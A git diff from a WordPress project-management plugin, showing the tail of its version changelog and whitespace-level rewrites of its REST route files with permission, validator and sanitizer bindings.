file section of a project. + * [fix] Unable to delete a comment in the file section of a project. + * [fix] Commenting in a discussion board is not working. + * [fix] Editing a comment in a discussion board is not working. + * [fix] Deleting a comment in a discussion board is not working. + * [fix] Javascript shows error when commenting, editing comments and deleting comments in discussion board. + += 1.6.2 - April 27, 2017 = + + * [new] Email template for mentioning users in a comment. [pro] + * [new] Moment js dependency added. + * [new] Compatibility for mentioning users in a comment. + * [update] Include filter for register project post type. + * [update] Include filter for register project taxonomy. + * [update] Change pagination position from left to right. + * [update] Pagination has been shown up and down of to-do lists content. + * [update] Single task url. + * [update] To-do lists progress bar. + * [update] Unnecessary parameters removed form wp_enqueue_script in cpm. + * [update] Array declaration according to lower version of php. + * [fix] Can’t use function return value in write context. + * [fix] Syntax error, unexpected '[' + * [fix] Filtering for to-do lists private view. + * [fix] Filtering problem for the visibility of to-do lists create button. + * [fix] List style problem in tiny-MCE comment box while commenting on discussion board. + * [fix] WP nonce problem in project discussion. + + += 1.6.1 - April 11, 2017 = + + * [fix] Load JS files only in todo list page + * [fix] Fix typo in todo list privacy checking capability + * [fix] Shortcode rendering in comments + * [fix] Remove users from notification panel outside of the project members + * [fix] Removed PHP array shorthand declaration + * [fix] Single task URL problem in My Task + += 1.6 - April 08, 2017 = + + * [new] Use js library Vue + * [new] Design layout changed for To-do Lists. + * [new] Real time update every action for To-do lists. + * [new] Two way data binding for to-do list edit + * [new] Two way data binding for task edit + * [new] Task lazy loading. + * [new] Vue routing for single To-do list + * [new] Real time pagination. + * [new] Completed and incomplete label added for corresponding tasks in single to-list. + * [update] Discussion editor changed from tricks to tinymce. + * [update] Real time change of progress bar. + * [update] Assign user to task options changed from choosen to Vue multiselect. + * [update] User avatar(gravatar) link changed form 404 to mm + * [fix] Remove comments link from overview. + * [fix] All functionalities for to-do list. + + += 1.5.1 - September 19, 2016 = + + * [new] Send Email Notification when a comment updates. + * [new] Add filter for how many letter to show when image name is long in files tab. + * [fix] Fixed conflict with buddypress. + * [fix] Fixed Project creation capability and update language files. + * [fix] Made Report print friendly. + * [fix] Files tab loading improvement. + * [fix] Show all comments in newly uploaded file view. + * [fix] Client view private discussion. + += 1.5 - August 20, 2016 = + + * [new] Report section new design (*pro*). + * [new] New Report item added (*pro*). + * [new] Files tab new design and add new feature in pro version (*pro*). + * [new] Add option for create document and connect to other online Docs (*pro*). + * [new] Add option to upload files / attachment direct to a project (*pro*). + * [fix] Duplicate mail send on project create. + * [fix] Change cpm_get_option function. + += 1.4.3 - May 30, 2016 = + + * [fix] Milestone input date and project redirect issue after create. + * [fix] Sorting completed milestone + * [fix] Image broken in emails + * [fix] File upload on first discussion problem fix. + * [fix] Task Done/Undone tick problem fix. + * [fix] New user create on project create or update problem fix. + * [fix] Department or personal projects show in ERP integration. + += 1.4.2 - April 6, 2016 = + + * [fix] Project permission problem in free version + += 1.4.1 - March 28, 2016 = + + * [new] Task list sticky option added as a replacement for sorting + * [new] Proper mime type icon set + * [new] Initial ERP integration added + * [fix] Front-end URL issue + += 1.4 - March 13, 2016 = + + * [new] UI Re-designed + * [new] Tasks now have a description field + * [tweak] As now we have description in tasks, previous tasks were updated. + * [tweak] Project post_type changed from `project` to `cpm_project` + * [tweak] Task post_type changed from `task` to `cpm_task` + * [tweak] Task List post_type changed from `task_list` to `cpm_task_list` + * [tweak] Milestone post_type changed from `milestone` to `cpm_milestone` + * [tweak] Message post_type changed from `message` to `cpm_message` + * [tweak] project_category taxonomy changed from `project_category` to `cpm_project_category` + += 1.3.8 - October 20, 2015 = + + * [fix] Front-end current task, outstanding task and completed task url problem fix + * [fix] Without login can access front-end problem fix + * [fix] Current task, outstanding task and completed task live update problem fix. + * [fix] Fetch outstanding and completed task problem fix + += 1.3.7 - October 15, 2015 = + + * [fix] Fix LogicException on autoloader + += 1.3.6 - October 15, 2015 = + + * [fix][pro] Add category for front-end + * [fix] Email notification subject issue fixed + += 1.3.5 - September 29, 2015 = + + * [fix] User role and items table weren't being created during install + += 1.3.4 - September 19, 2015 = + + * [fix] Pagination error fix in free version + * [fix] Project manage/create cap option brought back to free + * [fix] Version upgrader issue fixed + += 1.3.3 - September 15, 2015 = + + * [fix] Single project permission issue + += 1.3.2 - September 14, 2015 = + + * [fix] Project Duplication error + * [fix] New task assignmed email subject was missing + += 1.3.1 - September 11, 2015 = + + * [fix] File missing problem for front-end + * [fix] Plugin path in updater + += 1.3 - September 3, 2015 = + + * [improved] Free/Pro separation. Massive code change + * [improved] Email notification templates updated. Removed the settings from admin. + += 0.4.6 = + +* Fix: new project popup, some bug was still in the 0.4.5 version. + += 0.4.5 = + +* Fix: new project popup +* New: Pagination support on projects + += 0.4.4 = + +* Language files updated +* New action hooks and JS triggers added +* Settings API updated + += 0.4.3 = + +* new: Spanish translation +* new: German translation +* new: Indonesian translation +* fix: milestone datepicker issue +* fix: some typo fixes +* improved: comment count next to tasklists + += 0.4.2 = + +* bug fix: project activity/comments on frontend widget +* bug fix: project activity/comments on comment rss +* bug fix: number of milestones +* improved: plugin textdomain loading +* new: project task progressbar on project listing +* new: tasklist sorting +* new: task sorting +* new: Dutch translation language added +* new: Brazilian Portuguese language added + += 0.4.1 = + +* bug fix: attachment association problem on comment update +* bug fix: error on message update + += 0.4 = + +* improved: default email format changed to 'text/plain' from 'text/html' +* improved: toggle added on user notification selection +* improved: only date was showing on single message details, time added +* improved: some filters added on URLs +* bug fix: actual file url hidden on files tab for privacy +* bug fix: any user could edit any users message +* bug fix: any user could delete any users message +* new: admin settings page added +* new: email template added +* new: French translation added +* new: file upload size settings added + += 0.3.1 = + +* comment update bug fix +* project activity is now grouped by date +* "load more" button added on project activity +* some function documentation added. + += 0.3 = + +* Translation capability added +* Attachment security added. All files are now served via a proxy script + for security with permission checking. + += 0.2.1 = + +* Comments display error fix + += 0.2 = + +* Remove comments from listing publicly +* Post types are hidden from search + += 0.1 = +Initial version released + +== Upgrade Notice == + +BREAKING CHANGE: v2.0 release is a major version and introduces breaking changes by re-writing the whole plugin. Please test the plugin before updating from v1.x. Taking a database backup is advised. diff --git a/routes/activity.php b/routes/activity.php index 6b5c2c078..a6ffdb5b3 100644 --- a/routes/activity.php +++ b/routes/activity.php @@ -1,15 +1,15 @@ -get( 'projects/{project_id}/activities', 'WeDevs/PM/Activity/Controllers/Activity_Controller@index' ) - ->permission( [ $access_project ] ); - -$router->get( 'activities', 'WeDevs/PM/Activity/Helper/Activity@get_activities' ) - ->permission( [ $authentic ] ); +get( 'projects/{project_id}/activities', 'WeDevs/PM/Activity/Controllers/Activity_Controller@index' ) + ->permission( [ $access_project ] ); + +$router->get( 'activities', 'WeDevs/PM/Activity/Helper/Activity@get_activities' ) + ->permission( [ $authentic ] ); diff --git a/routes/category.php b/routes/category.php index 5e6b6bd96..b314d3fad 100644 --- a/routes/category.php +++ b/routes/category.php @@ -1,29 +1,29 @@ -get( 'categories', 'WeDevs/PM/Category/Controllers/Category_Controller@index' ) - ->permission( [ $authentic ] ); - -$router->post( 'categories', 'WeDevs/PM/Category/Controllers/Category_Controller@store' ) - ->permission( ['WeDevs\PM\Core\Permissions\Categories_Page_Access'] ) - ->validator( 'WeDevs\PM\Category\Validators\Create_Category' ) - ->sanitizer( 'WeDevs\PM\Category\Sanitizers\Category_Sanitizer' ); - -$router->get( 'categories/{id}', 'WeDevs/PM/Category/Controllers/Category_Controller@show' ) - ->permission( [ $authentic ] ); - -$router->post( 'categories/{id}/update', 'WeDevs/PM/Category/Controllers/Category_Controller@update' ) - ->permission( ['WeDevs\PM\Core\Permissions\Categories_Page_Access'] ) - ->validator( 'WeDevs\PM\Category\Validators\Update_Category' ) - ->sanitizer( 'WeDevs\PM\Category\Sanitizers\Category_Sanitizer' ); - -$router->post( 'categories/{id}/delete', 'WeDevs/PM/Category/Controllers/Category_Controller@destroy' ) - ->permission( ['WeDevs\PM\Core\Permissions\Categories_Page_Access'] ); - -$router->post( 'categories/bulk-delete', 'WeDevs/PM/Category/Controllers/Category_Controller@bulk_destroy' ) - ->permission( ['WeDevs\PM\Core\Permissions\Categories_Page_Access'] ); +get( 'categories', 'WeDevs/PM/Category/Controllers/Category_Controller@index' ) + ->permission( [ $authentic ] ); + +$router->post( 'categories', 'WeDevs/PM/Category/Controllers/Category_Controller@store' ) + ->permission( ['WeDevs\PM\Core\Permissions\Categories_Page_Access'] ) + ->validator( 'WeDevs\PM\Category\Validators\Create_Category' ) + ->sanitizer( 'WeDevs\PM\Category\Sanitizers\Category_Sanitizer' ); + +$router->get( 'categories/{id}', 'WeDevs/PM/Category/Controllers/Category_Controller@show' ) + ->permission( [ $authentic ] ); + +$router->post( 'categories/{id}/update', 'WeDevs/PM/Category/Controllers/Category_Controller@update' ) + ->permission( ['WeDevs\PM\Core\Permissions\Categories_Page_Access'] ) + ->validator( 'WeDevs\PM\Category\Validators\Update_Category' ) + ->sanitizer( 'WeDevs\PM\Category\Sanitizers\Category_Sanitizer' ); + +$router->post( 'categories/{id}/delete', 'WeDevs/PM/Category/Controllers/Category_Controller@destroy' ) + ->permission( ['WeDevs\PM\Core\Permissions\Categories_Page_Access'] ); + +$router->post( 'categories/bulk-delete', 'WeDevs/PM/Category/Controllers/Category_Controller@bulk_destroy' ) + ->permission( ['WeDevs\PM\Core\Permissions\Categories_Page_Access'] ); diff --git a/routes/comment.php b/routes/comment.php index e95a03ca8..f283a5170 100644 --- a/routes/comment.php +++ b/routes/comment.php @@ -1,29 +1,29 @@ -get( 'projects/{project_id}/comments', 'WeDevs/PM/Comment/Controllers/Comment_Controller@index' ) - ->permission([$access]); - -$router->post( 'projects/{project_id}/comments', 'WeDevs/PM/Comment/Controllers/Comment_Controller@store' ) - ->permission([$access]) - ->validator( 'WeDevs\PM\Comment\Validators\Create_Comment' ) - ->sanitizer( 'WeDevs\PM\Comment\Validators\Comment_Sanitizer' ); - - -$router->get( 'projects/{project_id}/comments/{comment_id}', 'WeDevs/PM/Comment/Controllers/Comment_Controller@show' ) - ->permission([$access]); - -$router->post( 'projects/{project_id}/comments/{comment_id}', 'WeDevs/PM/Comment/Controllers/Comment_Controller@update' ) - ->permission(['WeDevs\PM\Core\Permissions\Edit_Comment']) - ->validator( 'WeDevs\PM\Comment\Validators\Create_Comment' ) - ->sanitizer( 'WeDevs\PM\Comment\Validators\Comment_Sanitizer' ); - - -$router->post( 'projects/{project_id}/comments/{comment_id}/delete', 'WeDevs/PM/Comment/Controllers/Comment_Controller@destroy' ) - ->permission(['WeDevs\PM\Core\Permissions\Edit_Comment']); +get( 'projects/{project_id}/comments', 'WeDevs/PM/Comment/Controllers/Comment_Controller@index' ) + ->permission([$access]); + +$router->post( 'projects/{project_id}/comments', 'WeDevs/PM/Comment/Controllers/Comment_Controller@store' ) + ->permission([$access]) + ->validator( 'WeDevs\PM\Comment\Validators\Create_Comment' ) + ->sanitizer( 'WeDevs\PM\Comment\Validators\Comment_Sanitizer' ); + + +$router->get( 'projects/{project_id}/comments/{comment_id}', 'WeDevs/PM/Comment/Controllers/Comment_Controller@show' ) + ->permission([$access]); + +$router->post( 'projects/{project_id}/comments/{comment_id}', 'WeDevs/PM/Comment/Controllers/Comment_Controller@update' ) + ->permission(['WeDevs\PM\Core\Permissions\Edit_Comment']) + ->validator( 'WeDevs\PM\Comment\Validators\Create_Comment' ) + ->sanitizer( 'WeDevs\PM\Comment\Validators\Comment_Sanitizer' ); + + +$router->post( 'projects/{project_id}/comments/{comment_id}/delete', 'WeDevs/PM/Comment/Controllers/Comment_Controller@destroy' ) + ->permission(['WeDevs\PM\Core\Permissions\Edit_Comment']); diff --git a/routes/discussion-board.php b/routes/discussion-board.php index 21b3903d0..9a2f735b1 100644 --- a/routes/discussion-board.php +++ b/routes/discussion-board.php @@ -1,33 +1,33 @@ -get( 'projects/{project_id}/discussion-boards', 'WeDevs/PM/Discussion_Board/Controllers/Discussion_Board_Controller@index' ) - ->permission( [ $access_project ] ); - -$router->post( 'projects/{project_id}/discussion-boards', 'WeDevs/PM/Discussion_Board/Controllers/Discussion_Board_Controller@store' ) - ->permission( [ $create_discuss]) - ->validator( 'WeDevs\PM\Discussion_Board\Validators\Create_Discussion_Board' ) - ->sanitizer( 'WeDevs\PM\Discussion_Board\Validators\Discussion_Board_Sanitizer' ); - -$router->get( 'projects/{project_id}/discussion-boards/{discussion_board_id}', 'WeDevs/PM/Discussion_Board/Controllers/Discussion_Board_Controller@show' ) - ->permission( [ $access_project ] ); - -$router->post( 'projects/{project_id}/discussion-boards/{discussion_board_id}', 'WeDevs/PM/Discussion_Board/Controllers/Discussion_Board_Controller@update' ) - ->permission( ['WeDevs\PM\Core\Permissions\Edit_Discuss'] ) - ->validator( 'WeDevs\PM\Discussion_Board\Validators\Create_Discussion_Board' ) - ->sanitizer( 'WeDevs\PM\Discussion_Board\Validators\Discussion_Board_Sanitizer' ); - -$router->post( 'projects/{project_id}/discussion-boards/privacy/{discussion_board_id}', 'WeDevs/PM/Discussion_Board/Controllers/Discussion_Board_Controller@privacy' ) - ->permission( ['WeDevs\PM\Core\Permissions\Edit_Discuss'] ); - -$router->post( 'projects/{project_id}/discussion-boards/{discussion_board_id}/delete', 'WeDevs/PM/Discussion_Board/Controllers/Discussion_Board_Controller@destroy' ) - ->permission( ['WeDevs\PM\Core\Permissions\Edit_Discuss'] ); - -$router->put( 'projects/{project_id}/discussion-boards/{discussion_board_id}/attach-users', 'WeDevs/PM/Discussion_Board/Controllers/Discussion_Board_Controller@attach_users' )->permission( ['WeDevs\PM\Core\Permissions\Edit_Discuss'] ); - -$router->put( 'projects/{project_id}/discussion-boards/{discussion_board_id}/detach-users', 'WeDevs/PM/Discussion_Board/Controllers/Discussion_Board_Controller@detach_users' )->permission( ['WeDevs\PM\Core\Permissions\Edit_Discuss'] ); +get( 'projects/{project_id}/discussion-boards', 'WeDevs/PM/Discussion_Board/Controllers/Discussion_Board_Controller@index' ) + ->permission( [ $access_project ] ); + +$router->post( 'projects/{project_id}/discussion-boards', 'WeDevs/PM/Discussion_Board/Controllers/Discussion_Board_Controller@store' ) + ->permission( [ $create_discuss]) + ->validator( 'WeDevs\PM\Discussion_Board\Validators\Create_Discussion_Board' ) + ->sanitizer( 'WeDevs\PM\Discussion_Board\Validators\Discussion_Board_Sanitizer' ); + +$router->get( 'projects/{project_id}/discussion-boards/{discussion_board_id}', 'WeDevs/PM/Discussion_Board/Controllers/Discussion_Board_Controller@show' ) + ->permission( [ $access_project ] ); + +$router->post( 'projects/{project_id}/discussion-boards/{discussion_board_id}', 'WeDevs/PM/Discussion_Board/Controllers/Discussion_Board_Controller@update' ) + ->permission( ['WeDevs\PM\Core\Permissions\Edit_Discuss'] ) + ->validator( 'WeDevs\PM\Discussion_Board\Validators\Create_Discussion_Board' ) + ->sanitizer( 'WeDevs\PM\Discussion_Board\Validators\Discussion_Board_Sanitizer' ); + +$router->post( 'projects/{project_id}/discussion-boards/privacy/{discussion_board_id}', 'WeDevs/PM/Discussion_Board/Controllers/Discussion_Board_Controller@privacy' ) + ->permission( ['WeDevs\PM\Core\Permissions\Edit_Discuss'] ); + +$router->post( 'projects/{project_id}/discussion-boards/{discussion_board_id}/delete', 'WeDevs/PM/Discussion_Board/Controllers/Discussion_Board_Controller@destroy' ) + ->permission( ['WeDevs\PM\Core\Permissions\Edit_Discuss'] ); + +$router->put( 'projects/{project_id}/discussion-boards/{discussion_board_id}/attach-users', 'WeDevs/PM/Discussion_Board/Controllers/Discussion_Board_Controller@attach_users' )->permission( ['WeDevs\PM\Core\Permissions\Edit_Discuss'] ); + +$router->put( 'projects/{project_id}/discussion-boards/{discussion_board_id}/detach-users', 'WeDevs/PM/Discussion_Board/Controllers/Discussion_Board_Controller@detach_users' )->permission( ['WeDevs\PM\Core\Permissions\Edit_Discuss'] ); diff --git a/routes/file.php b/routes/file.php index f0c99b61d..bb06b0cc5 100644 --- a/routes/file.php +++ b/routes/file.php @@ -1,27 +1,27 @@ -get( 'projects/{project_id}/files', 'WeDevs/PM/File/Controllers/File_Controller@index' ) - ->permission( ['WeDevs\PM\Core\Permissions\Access_Project'] ); - -$router->post( 'projects/{project_id}/files', 'WeDevs/PM/File/Controllers/File_Controller@store' ) - ->permission( ['WeDevs\PM\Core\Permissions\Create_File'] ) - ->sanitizer( 'WeDevs\PM\File\Sanitizers\File_Sanitizer' ); - -$router->get( 'projects/{project_id}/files/{file_id}', 'WeDevs/PM/File/Controllers/File_Controller@show' ) - ->permission( ['WeDevs\PM\Core\Permissions\Access_Project'] ); - -$router->post( 'projects/{project_id}/files/{file_id}/update', 'WeDevs/PM/File/Controllers/File_Controller@rename' ) - ->permission( ['WeDevs\PM\Core\Permissions\Edit_File'] ) - ->sanitizer( 'WeDevs\PM\File\Sanitizers\File_Sanitizer' ); - -$router->post( 'projects/{project_id}/files/{file_id}/delete', 'WeDevs/PM/File/Controllers/File_Controller@destroy' ) - ->permission( ['WeDevs\PM\Core\Permissions\Edit_File'] ); - -$router->get( 'projects/{project_id}/files/{file_id}/users/{user_id}/download', 'WeDevs/PM/File/Controllers/File_Controller@download' ) - ->permission( ['WeDevs\PM\Core\Permissions\Access_Project'] ); - -$router->get( 'get-mime-type-icon', 'WeDevs/PM/File/Controllers/File_Controller@get_mime_type_icon' ); +get( 'projects/{project_id}/files', 'WeDevs/PM/File/Controllers/File_Controller@index' ) + ->permission( ['WeDevs\PM\Core\Permissions\Access_Project'] ); + +$router->post( 'projects/{project_id}/files', 'WeDevs/PM/File/Controllers/File_Controller@store' ) + ->permission( ['WeDevs\PM\Core\Permissions\Create_File'] ) + ->sanitizer( 'WeDevs\PM\File\Sanitizers\File_Sanitizer' ); + +$router->get( 'projects/{project_id}/files/{file_id}', 'WeDevs/PM/File/Controllers/File_Controller@show' ) + ->permission( ['WeDevs\PM\Core\Permissions\Access_Project'] ); + +$router->post( 'projects/{project_id}/files/{file_id}/update', 'WeDevs/PM/File/Controllers/File_Controller@rename' ) + ->permission( ['WeDevs\PM\Core\Permissions\Edit_File'] ) + ->sanitizer( 'WeDevs\PM\File\Sanitizers\File_Sanitizer' ); + +$router->post( 'projects/{project_id}/files/{file_id}/delete', 'WeDevs/PM/File/Controllers/File_Controller@destroy' ) + ->permission( ['WeDevs\PM\Core\Permissions\Edit_File'] ); + +$router->get( 'projects/{project_id}/files/{file_id}/users/{user_id}/download', 'WeDevs/PM/File/Controllers/File_Controller@download' ) + ->permission( ['WeDevs\PM\Core\Permissions\Access_Project'] ); + +$router->get( 'get-mime-type-icon', 'WeDevs/PM/File/Controllers/File_Controller@get_mime_type_icon' ); diff --git a/routes/milestone.php b/routes/milestone.php index f3a1a5ef1..ec0c05d05 100644 --- a/routes/milestone.php +++ b/routes/milestone.php @@ -1,27 +1,27 @@ -get( 'projects/{project_id}/milestones', 'WeDevs/PM/Milestone/Controllers/Milestone_Controller@index' ) - ->permission( ['WeDevs\PM\Core\Permissions\Access_Project'] ); - -$router->post( 'projects/{project_id}/milestones', 'WeDevs/PM/Milestone/Controllers/Milestone_Controller@store' ) - ->permission( ['WeDevs\PM\Core\Permissions\Create_Milestone'] ) - ->validator( 'WeDevs\PM\Milestone\Validators\Create_Milestone' ) - ->sanitizer( 'WeDevs\PM\Milestone\Sanitizers\Milestone_Sanitizer' ); - -$router->get( 'projects/{project_id}/milestones/{milestone_id}', 'WeDevs/PM/Milestone/Controllers/Milestone_Controller@show' ) - ->permission( ['WeDevs\PM\Core\Permissions\Access_Project'] ); - -$router->post( 'projects/{project_id}/milestones/{milestone_id}/update', 'WeDevs/PM/Milestone/Controllers/Milestone_Controller@update' ) - ->permission( ['WeDevs\PM\Core\Permissions\Edit_Milestone'] ) - ->validator( 'WeDevs\PM\Milestone\Validators\Create_Milestone' ) - ->sanitizer( 'WeDevs\PM\Milestone\Sanitizers\Milestone_Sanitizer' ); - -$router->post( 'projects/{project_id}/milestones/{milestone_id}/delete', 'WeDevs/PM/Milestone/Controllers/Milestone_Controller@destroy' ) - ->permission( ['WeDevs\PM\Core\Permissions\Edit_Milestone'] ); - -$router->post( 'projects/{project_id}/milestones/privacy/{milestone_id}', 'WeDevs/PM/Milestone/Controllers/Milestone_Controller@privacy' ) - ->permission( ['WeDevs\PM\Core\Permissions\Edit_Milestone'] ); +get( 'projects/{project_id}/milestones', 'WeDevs/PM/Milestone/Controllers/Milestone_Controller@index' ) + ->permission( ['WeDevs\PM\Core\Permissions\Access_Project'] ); + +$router->post( 'projects/{project_id}/milestones', 'WeDevs/PM/Milestone/Controllers/Milestone_Controller@store' ) + ->permission( ['WeDevs\PM\Core\Permissions\Create_Milestone'] ) + ->validator( 'WeDevs\PM\Milestone\Validators\Create_Milestone' ) + ->sanitizer( 'WeDevs\PM\Milestone\Sanitizers\Milestone_Sanitizer' ); + +$router->get( 'projects/{project_id}/milestones/{milestone_id}', 'WeDevs/PM/Milestone/Controllers/Milestone_Controller@show' ) + ->permission( ['WeDevs\PM\Core\Permissions\Access_Project'] ); + +$router->post( 'projects/{project_id}/milestones/{milestone_id}/update', 'WeDevs/PM/Milestone/Controllers/Milestone_Controller@update' ) + ->permission( ['WeDevs\PM\Core\Permissions\Edit_Milestone'] ) + ->validator( 'WeDevs\PM\Milestone\Validators\Create_Milestone' ) + ->sanitizer( 'WeDevs\PM\Milestone\Sanitizers\Milestone_Sanitizer' ); + +$router->post( 'projects/{project_id}/milestones/{milestone_id}/delete', 'WeDevs/PM/Milestone/Controllers/Milestone_Controller@destroy' ) + ->permission( ['WeDevs\PM\Core\Permissions\Edit_Milestone'] ); + +$router->post( 'projects/{project_id}/milestones/privacy/{milestone_id}', 'WeDevs/PM/Milestone/Controllers/Milestone_Controller@privacy' ) + ->permission( ['WeDevs\PM\Core\Permissions\Edit_Milestone'] ); diff --git a/routes/mytask.php b/routes/mytask.php index 544b9c9f8..b34bac235 100644 --- a/routes/mytask.php +++ b/routes/mytask.php @@ -1,18 +1,18 @@ -get( 'users/{id}/user-activities', 'WeDevs/PM/My_Task/Controllers/MyTask_Controller@user_activities' ) - ->permission(['WeDevs\PM\Core\Permissions\Authentic']); - -$router->get( 'users/{id}/tasks', 'WeDevs/PM/My_Task/Controllers/MyTask_Controller@user_tasks_by_type' ) - ->permission(['WeDevs\PM\Core\Permissions\Authentic']); - -$router->get( 'users/{id}/tasks/calender', 'WeDevs/PM/My_Task/Controllers/MyTask_Controller@user_calender_tasks' ) - ->permission(['WeDevs\PM\Core\Permissions\Authentic']); - -$router->get( 'assigned_users', 'WeDevs/PM/My_Task/Controllers/MyTask_Controller@assigned_users' ) - ->permission(['WeDevs\PM\Core\Permissions\Authentic']); +get( 'users/{id}/user-activities', 'WeDevs/PM/My_Task/Controllers/MyTask_Controller@user_activities' ) + ->permission(['WeDevs\PM\Core\Permissions\Authentic']); + +$router->get( 'users/{id}/tasks', 'WeDevs/PM/My_Task/Controllers/MyTask_Controller@user_tasks_by_type' ) + ->permission(['WeDevs\PM\Core\Permissions\Authentic']); + +$router->get( 'users/{id}/tasks/calender', 'WeDevs/PM/My_Task/Controllers/MyTask_Controller@user_calender_tasks' ) + ->permission(['WeDevs\PM\Core\Permissions\Authentic']); + +$router->get( 'assigned_users', 'WeDevs/PM/My_Task/Controllers/MyTask_Controller@assigned_users' ) + ->permission(['WeDevs\PM\Core\Permissions\Authentic']); diff --git a/routes/project.php b/routes/project.php index 9a4a0eec0..65a8c2330 100644 --- a/routes/project.php +++ b/routes/project.php @@ -1,44 +1,44 @@ -get( 'advanced/projects', 'WeDevs/PM/Project/Controllers/Project_Controller@index' ) - ->permission(['WeDevs\PM\Core\Permissions\Authentic']); - -$router->get( 'projects', 'WeDevs/PM/Project/Helper/Project@get_projects' ) - ->permission(['WeDevs\PM\Core\Permissions\Authentic']); - -$router->get( 'projects/{id}', 'WeDevs/PM/Project/Controllers/Project_Controller@show' ) - ->permission(['WeDevs\PM\Core\Permissions\Access_Project']); - -$router->post( 'projects', 'WeDevs/PM/Project/Controllers/Project_Controller@store' ) - ->permission(['WeDevs\PM\Core\Permissions\Project_Create_Capability']) - ->validator( 'WeDevs\PM\Project\Validators\Create_Project' ) - ->sanitizer( 'WeDevs\PM\Project\Sanitizers\Project_Sanitizer' ); - -$router->post( 'projects/{id}/update', 'WeDevs/PM/Project/Controllers/Project_Controller@update' ) - ->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']) - ->sanitizer( 'WeDevs\PM\Project\Sanitizers\Project_Sanitizer' ) - ->validator( 'WeDevs\PM\Project\Validators\Update_Project' ); - -$router->post( 'projects/{id}/favourite', 'WeDevs/PM/Project/Controllers/Project_Controller@favourite_project' ) - ->permission(['WeDevs\PM\Core\Permissions\Access_Project']); - -$router->post( 'projects/{id}/delete', 'WeDevs/PM/Project/Controllers/Project_Controller@destroy' ) - ->sanitizer( 'WeDevs\PM\Project\Sanitizers\Delete_Sanitizer' ) - ->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']); - -// $router->get( 'projects/search', 'WeDevs/PM/Project/Controllers/Project_Controller@project_search' ) -// ->permission(['WeDevs\PM\Core\Permissions\Authentic']); - +get( 'advanced/projects', 'WeDevs/PM/Project/Controllers/Project_Controller@index' ) + ->permission(['WeDevs\PM\Core\Permissions\Authentic']); + +$router->get( 'projects', 'WeDevs/PM/Project/Helper/Project@get_projects' ) + ->permission(['WeDevs\PM\Core\Permissions\Authentic']); + +$router->get( 'projects/{id}', 'WeDevs/PM/Project/Controllers/Project_Controller@show' ) + ->permission(['WeDevs\PM\Core\Permissions\Access_Project']); + +$router->post( 'projects', 'WeDevs/PM/Project/Controllers/Project_Controller@store' ) + ->permission(['WeDevs\PM\Core\Permissions\Project_Create_Capability']) + ->validator( 'WeDevs\PM\Project\Validators\Create_Project' ) + ->sanitizer( 'WeDevs\PM\Project\Sanitizers\Project_Sanitizer' ); + +$router->post( 'projects/{id}/update', 'WeDevs/PM/Project/Controllers/Project_Controller@update' ) + ->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']) + ->sanitizer( 'WeDevs\PM\Project\Sanitizers\Project_Sanitizer' ) + ->validator( 'WeDevs\PM\Project\Validators\Update_Project' ); + +$router->post( 'projects/{id}/favourite', 'WeDevs/PM/Project/Controllers/Project_Controller@favourite_project' ) + ->permission(['WeDevs\PM\Core\Permissions\Access_Project']); + +$router->post( 'projects/{id}/delete', 'WeDevs/PM/Project/Controllers/Project_Controller@destroy' ) + ->sanitizer( 'WeDevs\PM\Project\Sanitizers\Delete_Sanitizer' ) + ->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']); + +// $router->get( 'projects/search', 'WeDevs/PM/Project/Controllers/Project_Controller@project_search' ) +// ->permission(['WeDevs\PM\Core\Permissions\Authentic']); + diff --git a/routes/pusher.php b/routes/pusher.php index 0db3e466b..c33372229 100644 --- a/routes/pusher.php +++ b/routes/pusher.php @@ -1,15 +1,15 @@ -post( 'user/{user_id}/pusher/auth', 'WeDevs\PM\Pusher\Src\Controllers\Pusher_Controller@authentication' ) - ->permission(['WeDevs\PM\Core\Permissions\Authentic']); - - - +post( 'user/{user_id}/pusher/auth', 'WeDevs\PM\Pusher\Src\Controllers\Pusher_Controller@authentication' ) + ->permission(['WeDevs\PM\Core\Permissions\Authentic']); + + + diff --git a/routes/role.php b/routes/role.php index 9b336cb6a..672325194 100644 --- a/routes/role.php +++ b/routes/role.php @@ -1,24 +1,24 @@ -get( 'roles', 'WeDevs/PM/Role/Controllers/Role_Controller@index' ) -->permission(['WeDevs\PM\Core\Permissions\Authentic']); -$router->post( 'roles', 'WeDevs/PM/Role/Controllers/Role_Controller@store' ) -->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']) -->validator( 'WeDevs\PM\Role\Validators\Create_Role' ); - -$router->get( 'roles/{id}', 'WeDevs/PM/Role/Controllers/Role_Controller@show' ) -->permission(['WeDevs\PM\Core\Permissions\Authentic']); -$router->put( 'roles/{id}', 'WeDevs/PM/Role/Controllers/Role_Controller@update' ) -->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']) -->validator( 'WeDevs\PM\Role\Validators\Update_Role' ); - -$router->delete( 'roles/{id}', 'WeDevs/PM/Role/Controllers/Role_Controller@destroy' ) +get( 'roles', 'WeDevs/PM/Role/Controllers/Role_Controller@index' ) +->permission(['WeDevs\PM\Core\Permissions\Authentic']); +$router->post( 'roles', 'WeDevs/PM/Role/Controllers/Role_Controller@store' ) +->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']) +->validator( 'WeDevs\PM\Role\Validators\Create_Role' ); + +$router->get( 'roles/{id}', 'WeDevs/PM/Role/Controllers/Role_Controller@show' ) +->permission(['WeDevs\PM\Core\Permissions\Authentic']); +$router->put( 'roles/{id}', 'WeDevs/PM/Role/Controllers/Role_Controller@update' ) +->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']) +->validator( 'WeDevs\PM\Role\Validators\Update_Role' ); + +$router->delete( 'roles/{id}', 'WeDevs/PM/Role/Controllers/Role_Controller@destroy' ) ->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']); \ No newline at end of file diff --git a/routes/routes.php b/routes/routes.php index 8a957ce51..672eb16db 100644 --- a/routes/routes.php +++ b/routes/routes.php @@ -1,27 +1,27 @@ -get( 'foo', 'WeDevs/PM/Foo/Controllers/Foo_Controller@index' ); - -// $router->post( 'foo', 'WeDevs/PM/Foo/Controllers/Foo_Controller@store' ) -// ->permission( [Administrator::class] ) -// ->validator( Foo_Validator::class ); - -// $router->get( 'foo/{id}', 'WeDevs/PM/Foo/Controllers/Foo_Controller@show' ) -// ->permission( [Administrator::class] ) -// ->sanitizer( Foo_Sanitizer::class ); - -// $router->put( 'foo/{id}', 'WeDevs/PM/Foo/Controllers/Foo_Controller@update' 